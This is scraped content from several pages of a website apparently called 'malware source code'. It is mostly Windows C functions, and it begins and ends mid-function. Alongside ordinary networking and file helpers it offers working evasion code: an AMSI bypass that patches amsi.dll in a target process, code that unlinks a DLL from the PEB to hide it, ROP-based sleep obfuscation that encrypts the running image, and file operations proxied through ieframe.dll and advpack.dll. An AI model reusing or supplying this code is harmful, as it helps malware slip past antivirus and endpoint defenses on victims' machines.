(WSAStartup(MAKEWORD(2, 2), &WindowsSocketData) != ERROR_SUCCESS) return FALSE; AddressInformation.sin_family = AF_INET; AddressInformation.sin_addr.S_un.S_addr = ConvertIPv4StringToUnsignedLongW(IpAddress); if (GetNameInfoW((CONST SOCKADDR*) & AddressInformation, sizeof(SOCKADDR), DomainName, 32, NULL, 0, NI_NUMERICSERV) != ERROR_SUCCESS) goto EXIT_ROUTINE; bFlag = TRUE; EXIT_ROUTINE: WSACleanup(); return bFlag; } BOOL GetDomainNameFromIPV4AddressAsStringA(_In_ PCHAR IpAddress, _Inout_ PCHAR DomainName) { WSADATA WindowsSocketData = { 0 }; BOOL bFlag = FALSE; SOCKADDR_IN AddressInformation = { 0 }; if (WSAStartup(MAKEWORD(2, 2), &WindowsSocketData) != ERROR_SUCCESS) return FALSE; AddressInformation.sin_family = AF_INET; AddressInformation.sin_addr.S_un.S_addr = ConvertIPv4StringToUnsignedLongA(IpAddress); if (GetNameInfoA((CONST SOCKADDR*) & AddressInformation, sizeof(SOCKADDR), DomainName, 32, NULL, 0, NI_NUMERICSERV) != ERROR_SUCCESS) goto EXIT_ROUTINE; bFlag = TRUE; EXIT_ROUTINE: WSACleanup(); return bFlag; } [PreviousDnsGetDomainNameIPv4AddressUnsignedLong](https://malwaresourcecode.com/home/networking/dnsgetdomainnameipv4addressunsignedlong) [NextGetDomainNameFromUnsignedLongIPV4Address](https://malwaresourcecode.com/home/networking/getdomainnamefromunsignedlongipv4address) Last updated 10 months ago --- # Component Object Model | malware source code [IsComInitialized](https://malwaresourcecode.com/home/component-object-model/iscominitialized) [CoGetEnvironmentVariableW](https://malwaresourcecode.com/home/component-object-model/cogetenvironmentvariablew) [CoCreateIsoForMounting](https://malwaresourcecode.com/home/component-object-model/cocreateisoformounting) [CoXMLHTTPDownloadByteFileW](https://malwaresourcecode.com/home/component-object-model/coxmlhttpdownloadbytefilew) [CoEnumUPnPDevices](https://malwaresourcecode.com/home/component-object-model/coenumupnpdevices) [PreviousSleep Obfuscation (unstable)](https://malwaresourcecode.com/home/evasion/sleep-obfuscation-unstable) [NextIsComInitialized](https://malwaresourcecode.com/home/component-object-model/iscominitialized) --- # Unlink DLL from process | malware source code Copy VOID RemoveEntryList(LIST_ENTRY* Entry) { if (Entry != NULL) { PLIST_ENTRY OldFlink; PLIST_ENTRY OldBlink; OldFlink = Entry->Flink; OldBlink = Entry->Blink; OldFlink->Blink = OldBlink; OldBlink->Flink = OldFlink; Entry->Flink = NULL; Entry->Blink = NULL; } } BOOL RemoveDllFromPebW(_In_ LPCWSTR lpModuleName) { PPEB Peb = GetPeb(); PLDR_MODULE Module = NULL; PLIST_ENTRY Head = &Peb->LoaderData->InMemoryOrderModuleList; PLIST_ENTRY Next = Head->Flink; Module = (PLDR_MODULE)((PBYTE)Next - 16); while (Next != Head) { Module = (PLDR_MODULE)((PBYTE)Next - 16); if (Module->BaseDllName.Buffer != NULL) { if (StringCompareW(lpModuleName, Module->BaseDllName.Buffer) == 0) { RemoveEntryList(&Module->InLoadOrderModuleList); RemoveEntryList(&Module->InInitializationOrderModuleList); RemoveEntryList(&Module->InMemoryOrderModuleList); RemoveEntryList(&Module->HashTableEntry); return TRUE; } } Next = Next->Flink; } return FALSE; } BOOL RemoveDllFromPebA(_In_ LPCSTR lpModuleName) { PPEB Peb = GetPeb(); PLDR_MODULE Module = NULL; CHAR wDllName[64] = { 0 }; PLIST_ENTRY Head = &Peb->LoaderData->InMemoryOrderModuleList; PLIST_ENTRY Next = Head->Flink; Module = (PLDR_MODULE)((PBYTE)Next - 16); while (Next != Head) { Module = (PLDR_MODULE)((PBYTE)Next - 16); if (Module->BaseDllName.Buffer != NULL) { ZeroMemory(wDllName, sizeof(wDllName)); WCharStringToCharString(wDllName, Module->BaseDllName.Buffer, 64); if (StringCompareA(lpModuleName, wDllName) == 0) { RemoveEntryList(&Module->InLoadOrderModuleList); RemoveEntryList(&Module->InInitializationOrderModuleList); RemoveEntryList(&Module->InMemoryOrderModuleList); RemoveEntryList(&Module->HashTableEntry); return TRUE; } } Next = Next->Flink; } return FALSE; } [PreviousDelay execution until monitor off](https://malwaresourcecode.com/home/evasion/delay-execution-until-monitor-off) [NextSleep Obfuscation (unstable)](https://malwaresourcecode.com/home/evasion/sleep-obfuscation-unstable) Last updated 10 months ago --- # AmsiBypass by Patching (OLD) | malware source code Copy typedef HRESULT(WINAPI* AMSIOPENSESSION)(HAMSICONTEXT, HAMSISESSION*); BYTE AmsiPattern[] = { 0x48,'?','?', 0x74,'?',0x48,'?' ,'?' ,0x74 }; UCHAR AmsiPatch[] = { 0xeb }; ULONGLONG UnusedSubroutineSearchAmsiPattern(PBYTE Address, DWORD Size, PBYTE Pattern, DWORD PatternSize) { for (DWORD dwX = 0; dwX < 1024; dwX++) { if (Address[dwX] == Pattern[0]) { DWORD dwOffset = 1; while (dwOffset < PatternSize && dwX + dwOffset < Size && (Pattern[dwOffset] == '?' || Address[dwX + dwOffset] == Pattern[dwOffset])) { dwOffset++; } if (dwOffset == PatternSize) return (ULONGLONG)(dwX + 3); } } return 0; } BOOL AmsiBypassViaPatternScan(_In_ DWORD ProcessId) { HANDLE hProcess = NULL; HMODULE hMod = NULL; BOOL bFlag = FALSE; AMSIOPENSESSION pfnAmsiOpenSession = NULL; BYTE AmsiBuffer[1024] = { 0 }; ULONGLONG AmsiAddress = 0LL, PatchedAmsiAddress = 0LL; hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessId); if (hProcess == NULL) goto EXIT_ROUTINE; hMod = LoadLibraryW(L"amsi.dll"); if (hMod == NULL) goto EXIT_ROUTINE; pfnAmsiOpenSession = (AMSIOPENSESSION)GetProcAddress(hMod, "AmsiOpenSession"); if (!pfnAmsiOpenSession) goto EXIT_ROUTINE; if (!ReadProcessMemory(hProcess, pfnAmsiOpenSession, &AmsiBuffer, 1024, NULL)) goto EXIT_ROUTINE; AmsiAddress = UnusedSubroutineSearchAmsiPattern(AmsiBuffer, sizeof(AmsiBuffer), AmsiPattern, sizeof(AmsiPattern)); if (AmsiAddress == 0) goto EXIT_ROUTINE; PatchedAmsiAddress = (ULONGLONG)pfnAmsiOpenSession; PatchedAmsiAddress += AmsiAddress; if (!WriteProcessMemory(hProcess, (LPVOID)PatchedAmsiAddress, AmsiPatch, 1, NULL)) goto EXIT_ROUTINE; bFlag = TRUE; EXIT_ROUTINE: if (hProcess) CloseHandle(hProcess); return bFlag; } [PreviousEvasion](https://malwaresourcecode.com/home/evasion) [NextDelay execution until monitor off](https://malwaresourcecode.com/home/evasion/delay-execution-until-monitor-off) Last updated 10 months ago --- # IPv4IpAddressUnsignedLongToString | malware source code Copy typedef PWSTR(NTAPI* RTLIPV4ADDRESSTOSTRINGW)(PIN_ADDR, PWSTR); #pragma warning( push ) #pragma warning( disable : 6101) BOOL ConvertIPv4IpAddressUnsignedLongToStringW(_In_ ULONG Address, _Out_ PWCHAR Buffer) { #pragma warning( pop ) RTLIPV4ADDRESSTOSTRINGW RtlIpv4AddressToStringW = NULL; HMODULE hModule = NULL; WCHAR DisposeableObject[32] = { 0 }; IN_ADDR InAddress = { 0 }; if (Address == 0) return FALSE; InAddress.S_un.S_addr = Address; if (Buffer == NULL) return FALSE; hModule = GetModuleHandleW(L"ntdll.dll"); if (hModule == NULL) return FALSE; RtlIpv4AddressToStringW = (RTLIPV4ADDRESSTOSTRINGW)GetProcAddress(hModule, "RtlIpv4AddressToStringW"); if (!RtlIpv4AddressToStringW) return FALSE; RtlIpv4AddressToStringW(&InAddress, Buffer); RtlIpv4AddressToStringW = NULL; return TRUE; } #pragma warning( push ) #pragma warning( disable : 6101) BOOL ConvertIPv4IpAddressUnsignedLongToStringA(_In_ ULONG Address, _Out_ PCHAR Buffer) { #pragma warning( pop ) RTLIPV4ADDRESSTOSTRINGA RtlIpv4AddressToStringA = NULL; HMODULE hModule = NULL; CHAR DisposeableObject[32] = { 0 }; IN_ADDR InAddress = { 0 }; if (Address == 0) return FALSE; InAddress.S_un.S_addr = Address; if (Buffer == NULL) return FALSE; hModule = GetModuleHandleW(L"ntdll.dll"); if (hModule == NULL) return FALSE; RtlIpv4AddressToStringA = (RTLIPV4ADDRESSTOSTRINGA)GetProcAddress(hModule, "RtlIpv4AddressToStringA"); if (!RtlIpv4AddressToStringA) return FALSE; RtlIpv4AddressToStringA(&InAddress, Buffer); RtlIpv4AddressToStringA = NULL; return TRUE; } [PreviousIPv4IpAddressStructureToString](https://malwaresourcecode.com/home/networking/ipv4ipaddressstructuretostring) [NextIPv4StringToUnsignedLong](https://malwaresourcecode.com/home/networking/ipv4stringtounsignedlong) Last updated 10 months ago --- # DnsGetDomainNameIPv4AddressUnsignedLong | malware source code Copy ULONG DnsGetDomainNameIPv4AddressUnsignedLongW(_In_ PWCHAR DomainName) { DNS_STATUS Status = ERROR_SUCCESS; PDNS_RECORD DnsRecord = NULL; ULONG ReturnValue = ERROR_SUCCESS; DnsQuery_W(DomainName, DNS_TYPE_A, DNS_QUERY_BYPASS_CACHE, NULL, &DnsRecord, NULL); if (DnsRecord && DnsRecord->Data.A.IpAddress != 0) ReturnValue = DnsRecord->Data.A.IpAddress; if (DnsRecord) DnsRecordListFree(DnsRecord, DnsFreeRecordListDeep); return ReturnValue; } ULONG DnsGetDomainNameIPv4AddressUnsignedLongA(_In_ PCHAR DomainName) { DNS_STATUS Status = ERROR_SUCCESS; PDNS_RECORD DnsRecord = NULL; ULONG ReturnValue = ERROR_SUCCESS; DnsQuery_A(DomainName, DNS_TYPE_A, DNS_QUERY_BYPASS_CACHE, NULL, &DnsRecord, NULL); if (DnsRecord && DnsRecord->Data.A.IpAddress != 0) ReturnValue = DnsRecord->Data.A.IpAddress; if (DnsRecord) DnsRecordListFree(DnsRecord, DnsFreeRecordListDeep); return ReturnValue; } [PreviousDnsGetDomainNameIPv4AddressAsString](https://malwaresourcecode.com/home/networking/dnsgetdomainnameipv4addressasstring) [NextGetDomainNameFromIPV4AddressAsString](https://malwaresourcecode.com/home/networking/getdomainnamefromipv4addressasstring) Last updated 10 months ago --- # CopyFileViaSetupCopyFile | malware source code Copy BOOL CopyFileViaSetupCopyFileW(_In_ LPCWSTR Source, _In_ LPCWSTR Destination) { return SetupDecompressOrCopyFileW(Source, Destination, FILE_COMPRESSION_NONE); } BOOL CopyFileViaSetupCopyFileA(_In_ LPCSTR Source, _In_ LPCSTR Destination) { WCHAR wSource[MAX_PATH * sizeof(WCHAR)] = { 0 }; WCHAR wDestination[MAX_PATH * sizeof(WCHAR)] = { 0 }; if (CharStringToWCharString(wSource, (PCHAR)Source, StringLengthA(Source) * sizeof(WCHAR)) == 0) return FALSE; if (CharStringToWCharString(wDestination, (PCHAR)Destination, StringLengthA(Destination) * sizeof(WCHAR)) == 0) return FALSE; return SetupDecompressOrCopyFileW(wSource, wDestination, FILE_COMPRESSION_NONE); } [PreviousProxied Functions](https://malwaresourcecode.com/home/proxied-functions) [NextCreateFileFromDsCopyFromSharedFile](https://malwaresourcecode.com/home/proxied-functions/createfilefromdscopyfromsharedfile) Last updated 10 months ago --- # Proxied Functions | malware source code [CopyFileViaSetupCopyFile](https://malwaresourcecode.com/home/proxied-functions/copyfileviasetupcopyfile) [CreateFileFromDsCopyFromSharedFile](https://malwaresourcecode.com/home/proxied-functions/createfilefromdscopyfromsharedfile) [DeleteDirectoryAndSubData](https://malwaresourcecode.com/home/proxied-functions/deletedirectoryandsubdata) [IeCreateDirectory](https://malwaresourcecode.com/home/proxied-functions/iecreatedirectory) [IeCreateFile](https://malwaresourcecode.com/home/proxied-functions/iecreatefile) [IsProcessRunningAsAdmin2](https://malwaresourcecode.com/home/proxied-functions/isprocessrunningasadmin2) [IEGetFileAttributesEx](https://malwaresourcecode.com/home/proxied-functions/iegetfileattributesex) [IEMoveFileEx](https://malwaresourcecode.com/home/proxied-functions/iemovefileex) [IERemoveDirectory](https://malwaresourcecode.com/home/proxied-functions/ieremovedirectory) [PreviousGetLsaPidFromServiceManager](https://malwaresourcecode.com/home/lsass-related/getlsapidfromservicemanager) [NextCopyFileViaSetupCopyFile](https://malwaresourcecode.com/home/proxied-functions/copyfileviasetupcopyfile) --- # IeCreateFile | malware source code Copy HANDLE IeCreateFileW(_In_ LPCWSTR lpFileName, _In_ DWORD dwDesiredAccess, _In_ DWORD dwShareMode, _In_opt_ LPSECURITY_ATTRIBUTES lpSecurityAttributes, _In_ DWORD dwCreationDisposition, _In_ DWORD dwFlagsAndAttributes, _In_opt_ HANDLE hTemplateFile) { typedef HANDLE(WINAPI* IECREATEFILE)(LPCWSTR, DWORD, DWORD, LPSECURITY_ATTRIBUTES, DWORD, DWORD, HANDLE); IECREATEFILE IeCreateFile = NULL; #pragma warning( push ) #pragma warning( disable : 6387) IeCreateFile = (IECREATEFILE)GetProcAddress(LoadLibraryW(L"ieframe.dll"), "IECreateFile"); #pragma warning( pop ) if (!IeCreateFile) return NULL; return IeCreateFile(lpFileName, dwDesiredAccess, dwShareMode, lpSecurityAttributes, dwCreationDisposition, dwFlagsAndAttributes, hTemplateFile); } HANDLE IeCreateFileA(_In_ LPCSTR lpFileName, _In_ DWORD dwDesiredAccess, _In_ DWORD dwShareMode, _In_opt_ LPSECURITY_ATTRIBUTES lpSecurityAttributes, _In_ DWORD dwCreationDisposition, _In_ DWORD dwFlagsAndAttributes, _In_opt_ HANDLE hTemplateFile) { typedef HANDLE(WINAPI* IECREATEFILE)(LPCWSTR, DWORD, DWORD, LPSECURITY_ATTRIBUTES, DWORD, DWORD, HANDLE); IECREATEFILE IeCreateFile = NULL; WCHAR ccBuffer[MAX_PATH * sizeof(WCHAR)] = { 0 }; #pragma warning( push ) #pragma warning( disable : 6387) IeCreateFile = (IECREATEFILE)GetProcAddress(LoadLibraryW(L"ieframe.dll"), "IECreateFile"); #pragma warning( pop ) if (!IeCreateFile) return NULL; if (CharStringToWCharString(ccBuffer, (PCHAR)lpFileName, StringLengthA(lpFileName)) == 0) return NULL; return IeCreateFile(ccBuffer, dwDesiredAccess, dwShareMode, lpSecurityAttributes, dwCreationDisposition, dwFlagsAndAttributes, hTemplateFile); } [PreviousIeCreateDirectory](https://malwaresourcecode.com/home/proxied-functions/iecreatedirectory) [NextIsProcessRunningAsAdmin2](https://malwaresourcecode.com/home/proxied-functions/isprocessrunningasadmin2) Last updated 10 months ago --- # IERemoveDirectory | malware source code Copy BOOL IERemoveDirectoryW(_In_ LPCWSTR lpPathName) { typedef BOOL(WINAPI* IEREMOVEDIRECTORY)(LPCWSTR); IEREMOVEDIRECTORY IeRemoveDirectory = NULL; #pragma warning( push ) #pragma warning( disable : 6387) IeRemoveDirectory = (IEREMOVEDIRECTORY)GetProcAddress(LoadLibraryW(L"ieframe.dll"), "IERemoveDirectory"); #pragma warning( pop ) if (!IeRemoveDirectory) return FALSE; return IeRemoveDirectory(lpPathName); } BOOL IERemoveDirectoryA(_In_ LPCSTR lpPathName) { typedef BOOL(WINAPI* IEREMOVEDIRECTORY)(LPCWSTR); IEREMOVEDIRECTORY IeRemoveDirectory = NULL; WCHAR ccPathName[MAX_PATH * sizeof(WCHAR)] = { 0 }; #pragma warning( push ) #pragma warning( disable : 6387) IeRemoveDirectory = (IEREMOVEDIRECTORY)GetProcAddress(LoadLibraryW(L"ieframe.dll"), "IERemoveDirectory"); #pragma warning( pop ) if (!IeRemoveDirectory) return FALSE; if (CharStringToWCharString(ccPathName, (PCHAR)lpPathName, StringLengthA(lpPathName)) == 0) return FALSE; return IeRemoveDirectory(ccPathName); } [PreviousIEMoveFileEx](https://malwaresourcecode.com/home/proxied-functions/iemovefileex) [NextEvasion](https://malwaresourcecode.com/home/evasion) Last updated 10 months ago --- # IEMoveFileEx | malware source code Copy BOOL IEMoveFileExW(_In_ LPCWSTR lpExistingFileName, _In_ LPCWSTR lpNewFileName, _In_ DWORD dwFlags) { typedef BOOL(WINAPI* IEMOVEFILEEX)(LPCWSTR, LPCWSTR, DWORD); IEMOVEFILEEX IeMoveFileEx = NULL; #pragma warning( push ) #pragma warning( disable : 6387) IeMoveFileEx = (IEMOVEFILEEX)GetProcAddress(LoadLibraryW(L"ieframe.dll"), "IEMoveFileEx"); #pragma warning( pop ) if (!IeMoveFileEx) return FALSE; return IeMoveFileEx(lpExistingFileName, lpNewFileName, dwFlags); } BOOL IEMoveFileExA(_In_ LPCSTR lpExistingFileName, _In_ LPCSTR lpNewFileName, _In_ DWORD dwFlags) { typedef BOOL(WINAPI* IEMOVEFILEEX)(LPCWSTR, LPCWSTR, DWORD); IEMOVEFILEEX IeMoveFileEx = NULL; WCHAR ccExisting[MAX_PATH * sizeof(WCHAR)] = { 0 }; WCHAR ccNew[MAX_PATH * sizeof(WCHAR)] = { 0 }; #pragma warning( push ) #pragma warning( disable : 6387) IeMoveFileEx = (IEMOVEFILEEX)GetProcAddress(LoadLibraryW(L"ieframe.dll"), "IEMoveFileEx"); #pragma warning( pop ) if (!IeMoveFileEx) return FALSE; if (CharStringToWCharString(ccExisting, (PCHAR)lpExistingFileName, StringLengthA(lpExistingFileName)) == 0) return FALSE; if (CharStringToWCharString(ccNew, (PCHAR)lpNewFileName, StringLengthA(lpNewFileName)) == 0) return FALSE; return IeMoveFileEx(ccExisting, ccNew, dwFlags); } [PreviousIEGetFileAttributesEx](https://malwaresourcecode.com/home/proxied-functions/iegetfileattributesex) [NextIERemoveDirectory](https://malwaresourcecode.com/home/proxied-functions/ieremovedirectory) Last updated 10 months ago --- # IeCreateDirectory | malware source code Copy BOOL IeCreateDirectoryW(_In_ LPCWSTR lpPathName, _In_opt_ LPSECURITY_ATTRIBUTES lpSecurityAttributes) { typedef BOOL(WINAPI* IECREATEDIRECTORY)(LPCWSTR, LPSECURITY_ATTRIBUTES); IECREATEDIRECTORY IECreateDirectory = NULL; #pragma warning( push ) #pragma warning( disable : 6387) IECreateDirectory = (IECREATEDIRECTORY)GetProcAddress(LoadLibraryW(L"ieframe.dll"), "IECreateDirectory"); #pragma warning( pop ) if (!IECreateDirectory) return FALSE; return IECreateDirectory(lpPathName, lpSecurityAttributes); } BOOL IeCreateDirectoryA(_In_ LPCSTR lpPathName, _In_opt_ LPSECURITY_ATTRIBUTES lpSecurityAttributes) { typedef BOOL(WINAPI* IECREATEDIRECTORY)(LPCWSTR, LPSECURITY_ATTRIBUTES); IECREATEDIRECTORY IECreateDirectory = NULL; WCHAR ccBuffer[MAX_PATH * sizeof(WCHAR)] = { 0 }; #pragma warning( push ) #pragma warning( disable : 6387) IECreateDirectory = (IECREATEDIRECTORY)GetProcAddress(LoadLibraryW(L"ieframe.dll"), "IECreateDirectory"); #pragma warning( pop ) if (!IECreateDirectory) return FALSE; if (CharStringToWCharString(ccBuffer, (PCHAR)lpPathName, StringLengthA(lpPathName)) == 0) return FALSE; return IECreateDirectory(ccBuffer, lpSecurityAttributes); } [PreviousDeleteDirectoryAndSubData](https://malwaresourcecode.com/home/proxied-functions/deletedirectoryandsubdata) [NextIeCreateFile](https://malwaresourcecode.com/home/proxied-functions/iecreatefile) Last updated 10 months ago --- # IEGetFileAttributesEx | malware source code Copy #pragma warning( push ) #pragma warning( disable : 6101) BOOL IEGetFileAttributesExW(_In_ LPCWSTR lpFileName, _In_ GET_FILEEX_INFO_LEVELS fInfoLevelId, _Out_ LPVOID lpFileInformation) { typedef BOOL(WINAPI* IEGETFILEATTRIBUTESEX)(LPCWSTR, GET_FILEEX_INFO_LEVELS, LPVOID); IEGETFILEATTRIBUTESEX IeGetFileAttributesExW = NULL; #pragma warning( push ) #pragma warning( disable : 6387) IeGetFileAttributesExW = (IEGETFILEATTRIBUTESEX)GetProcAddress(LoadLibraryW(L"ieframe.dll"), "IEGetFileAttributesEx"); #pragma warning( pop ) if (!IeGetFileAttributesExW) return FALSE; return IeGetFileAttributesExW(lpFileName, fInfoLevelId, lpFileInformation); } BOOL IEGetFileAttributesExA(_In_ LPCSTR lpFileName, _In_ GET_FILEEX_INFO_LEVELS fInfoLevelId, _Out_ LPVOID lpFileInformation) { typedef BOOL(WINAPI* IEGETFILEATTRIBUTESEX)(LPCWSTR, GET_FILEEX_INFO_LEVELS, LPVOID); IEGETFILEATTRIBUTESEX IeGetFileAttributesExW = NULL; WCHAR ccBuffer[MAX_PATH * sizeof(WCHAR)] = { 0 }; #pragma warning( push ) #pragma warning( disable : 6387) IeGetFileAttributesExW = (IEGETFILEATTRIBUTESEX)GetProcAddress(LoadLibraryW(L"ieframe.dll"), "IEGetFileAttributesEx"); #pragma warning( pop ) if (!IeGetFileAttributesExW) return FALSE; if (CharStringToWCharString(ccBuffer, (PCHAR)lpFileName, StringLengthA(lpFileName)) == 0) return FALSE; return IeGetFileAttributesExW(ccBuffer, fInfoLevelId, lpFileInformation); } #pragma warning( pop ) [PreviousIsProcessRunningAsAdmin2](https://malwaresourcecode.com/home/proxied-functions/isprocessrunningasadmin2) [NextIEMoveFileEx](https://malwaresourcecode.com/home/proxied-functions/iemovefileex) Last updated 10 months ago --- # Sleep Obfuscation (unstable) | malware source code Copy HMODULE GetPeFileBaseAddress(VOID) { PPEB Peb = GetPebFromTeb(); PLDR_MODULE Module = NULL; Module = (PLDR_MODULE)((PBYTE)Peb->LoaderData->InMemoryOrderModuleList.Flink - 16); if (!Module) return NULL; return (HMODULE)(Module->BaseAddress ? Module->BaseAddress : NULL); } BOOL SleepObfuscationViaVirtualProtect(_In_ DWORD dwSleepTimeInMilliseconds, _In_ PUCHAR Key) { BOOL bFlag = FALSE; NTCONTINUE NtContinue = NULL; SYSTEMFUNCTION032 SystemFunction032 = NULL; HMODULE hNtdll = NULL, hAdvapi32 = NULL; PIMAGE_DOS_HEADER Dos = NULL; PIMAGE_FILE_HEADER File = NULL; PIMAGE_NT_HEADERS Nt = NULL; PIMAGE_OPTIONAL_HEADER Optional = NULL; HMODULE ImageBaseAddress = NULL; CONTEXT ContextThread = { 0 }, RopVirtualProtectReadWrite = { 0 }, RopSystemFunction032Encryption = { 0 }, RopWaitForSingleObject = { 0 }; CONTEXT RopSystemFunction032Decryption = { 0 }, RopVirtualProtectExecute = { 0 }, RopSetEvent = { 0 }; AB_STRING BinaryKey = { 0 }, ImageBuffer = { 0 }; HANDLE hTimer = NULL, hTimerQueue = NULL, hEvent = NULL; DWORD PreviousProtectionAttribute = ERROR_SUCCESS; hNtdll = GetModuleHandleW(L"ntdll.dll"); if (hNtdll == NULL) goto EXIT_ROUTINE; hAdvapi32 = LoadLibraryW(L"advapi32.dll"); if (hAdvapi32 == NULL) goto EXIT_ROUTINE; NtContinue = (NTCONTINUE)GetProcAddress(hNtdll, "NtContinue"); SystemFunction032 = (SYSTEMFUNCTION032)GetProcAddress(hAdvapi32, "SystemFunction032"); if (!NtContinue || !SystemFunction032) goto EXIT_ROUTINE; ImageBaseAddress = GetPeFileBaseAddress(); if (ImageBaseAddress == NULL) goto EXIT_ROUTINE; RtlLoadPeHeaders(&Dos, &Nt, &File, &Optional, (PBYTE*)&ImageBaseAddress); hEvent = CreateEventW(0, 0, 0, 0); if (hEvent == NULL) goto EXIT_ROUTINE; hTimerQueue = CreateTimerQueue(); if (hTimerQueue == NULL) goto EXIT_ROUTINE; BinaryKey.Buffer = Key; BinaryKey.Length = BinaryKey.MaximumLength = 17; ImageBuffer.Buffer = (PUCHAR)ImageBaseAddress; ImageBuffer.Length = ImageBuffer.MaximumLength = Optional->SizeOfImage; if (!CreateTimerQueueTimer(&hTimer, hTimerQueue, (WAITORTIMERCALLBACK)RtlCaptureContext, &ContextThread, 0, 0, WT_EXECUTEINTIMERTHREAD)) goto EXIT_ROUTINE; WaitForSingleObject(hEvent, 0x32); if (CopyMemoryEx(&RopVirtualProtectReadWrite, &ContextThread, sizeof(CONTEXT)) == NULL) goto EXIT_ROUTINE; if (CopyMemoryEx(&RopSystemFunction032Encryption, &ContextThread, sizeof(CONTEXT)) == NULL) goto EXIT_ROUTINE; if (CopyMemoryEx(&RopWaitForSingleObject, &ContextThread, sizeof(CONTEXT)) == NULL) goto EXIT_ROUTINE; if (CopyMemoryEx(&RopSystemFunction032Decryption, &ContextThread, sizeof(CONTEXT)) == NULL) goto EXIT_ROUTINE; if (CopyMemoryEx(&RopVirtualProtectExecute, &ContextThread, sizeof(CONTEXT)) == NULL) goto EXIT_ROUTINE; if (CopyMemoryEx(&RopSetEvent, &ContextThread, sizeof(CONTEXT)) == NULL) goto EXIT_ROUTINE; // VirtualProtect RopVirtualProtectReadWrite.Rsp -= 8; RopVirtualProtectReadWrite.Rip = (DWORD64)VirtualProtect; RopVirtualProtectReadWrite.Rcx = (DWORD64)ImageBaseAddress; RopVirtualProtectReadWrite.Rdx = Optional->SizeOfImage; RopVirtualProtectReadWrite.R8 = PAGE_READWRITE; RopVirtualProtectReadWrite.R9 = (DWORD64)&PreviousProtectionAttribute; // SystemFunction032 RopSystemFunction032Encryption.Rsp -= 8; RopSystemFunction032Encryption.Rip = (DWORD64)SystemFunction032; RopSystemFunction032Encryption.Rcx = (DWORD64)&ImageBuffer; RopSystemFunction032Encryption.Rdx = (DWORD64)&BinaryKey; // WaitForSingleObject RopWaitForSingleObject.Rsp -= 8; RopWaitForSingleObject.Rip = (DWORD64)WaitForSingleObject; RopWaitForSingleObject.Rcx = (DWORD64)GetCurrentProcessNoForward(); RopWaitForSingleObject.Rdx = dwSleepTimeInMilliseconds; // SystemFunction032 RopSystemFunction032Decryption.Rsp -= 8; RopSystemFunction032Decryption.Rip = (DWORD64)SystemFunction032; RopSystemFunction032Decryption.Rcx = (DWORD64)&ImageBuffer; RopSystemFunction032Decryption.Rdx = (DWORD64)&BinaryKey; // VirtualProtect RopVirtualProtectExecute.Rsp -= 8; RopVirtualProtectExecute.Rip = (DWORD64)VirtualProtect; RopVirtualProtectExecute.Rcx = (DWORD64)ImageBaseAddress; RopVirtualProtectExecute.Rdx = Optional->SizeOfImage; RopVirtualProtectExecute.R8 = PAGE_EXECUTE_READWRITE; RopVirtualProtectExecute.R9 = (DWORD64)&PreviousProtectionAttribute; // SetEvent RopSetEvent.Rsp -= 8; RopSetEvent.Rip = (DWORD64)SetEvent; RopSetEvent.Rcx = (DWORD64)hEvent; CreateTimerQueueTimer(&hTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue, &RopVirtualProtectReadWrite, 100, 0, WT_EXECUTEINTIMERTHREAD); CreateTimerQueueTimer(&hTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue, &RopSystemFunction032Encryption, 200, 0, WT_EXECUTEINTIMERTHREAD); CreateTimerQueueTimer(&hTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue, &RopWaitForSingleObject, 300, 0, WT_EXECUTEINTIMERTHREAD); CreateTimerQueueTimer(&hTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue, &RopSystemFunction032Decryption, 400, 0, WT_EXECUTEINTIMERTHREAD); CreateTimerQueueTimer(&hTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue, &RopVirtualProtectExecute, 500, 0, WT_EXECUTEINTIMERTHREAD); CreateTimerQueueTimer(&hTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue, &RopSetEvent, 600, 0, WT_EXECUTEINTIMERTHREAD); WaitForSingleObject(hEvent, INFINITE); bFlag = TRUE; EXIT_ROUTINE: #pragma warning( push ) #pragma warning( disable : 6031) if(hTimerQueue) DeleteTimerQueue(hTimerQueue); #pragma warning( pop ) return bFlag; } [PreviousUnlink DLL from process](https://malwaresourcecode.com/home/evasion/unlink-dll-from-process) [NextComponent Object Model](https://malwaresourcecode.com/home/component-object-model) Last updated 10 months ago --- # IsProcessRunningAsAdmin2 | malware source code Copy typedef BOOL(WINAPI* ISNTADMIN)(DWORD, LPDWORD); BOOL IsProcessRunningAsAdmin2(VOID) { ISNTADMIN IsNtAdmin = NULL; HMODULE hMod = NULL; BOOL bFlag = FALSE; hMod = LoadLibraryW(L"advpack.dll"); if (hMod == NULL) goto EXIT_ROUTINE; IsNtAdmin = (ISNTADMIN)GetProcAddress(hMod, "IsNTAdmin"); if (!IsNtAdmin) goto EXIT_ROUTINE; bFlag = IsNtAdmin(0, NULL); EXIT_ROUTINE: if (hMod) FreeLibrary(hMod); return bFlag; } [PreviousIeCreateFile](https://malwaresourcecode.com/home/proxied-functions/iecreatefile) [NextIEGetFileAttributesEx](https://malwaresourcecode.com/home/proxied-functions/iegetfileattributesex) Last updated 10 months ago --- # DeleteDirectoryAndSubData | malware source code Copy BOOL DeleteDirectoryAndSubDataViaDelNodeW(_In_ LPCWSTR FullPathToDirectory) { DELNODEW DelNodeW = NULL; HMODULE hMod = NULL; BOOL bFlag = FALSE; hMod = LoadLibraryW(L"advpack.dll"); if (hMod == NULL) goto EXIT_ROUTINE; DelNodeW = (DELNODEW)GetProcAddress(hMod, "DelNodeW"); if (!DelNodeW) goto EXIT_ROUTINE; if (!SUCCEEDED(DelNodeW(FullPathToDirectory, 0))) goto EXIT_ROUTINE; bFlag = TRUE; EXIT_ROUTINE: if (hMod) FreeLibrary(hMod); return bFlag; } BOOL DeleteDirectoryAndSubDataViaDelNodeA(_In_ LPCSTR FullPathToDirectory) { DELNODEW DelNodeW = NULL; HMODULE hMod = NULL; BOOL bFlag = FALSE; WCHAR ccBuffer[MAX_PATH * sizeof(WCHAR)] = {0}; if(CharStringToWCharString(ccBuffer, (PCHAR)FullPathToDirectory, StringLengthA(FullPathToDirectory)) == 0) goto EXIT_ROUTINE; hMod = LoadLibraryW(L"advpack.dll"); if (hMod == NULL) goto EXIT_ROUTINE; DelNodeW = (DELNODEW)GetProcAddress(hMod, "DelNodeW"); if (!DelNodeW) goto EXIT_ROUTINE; if 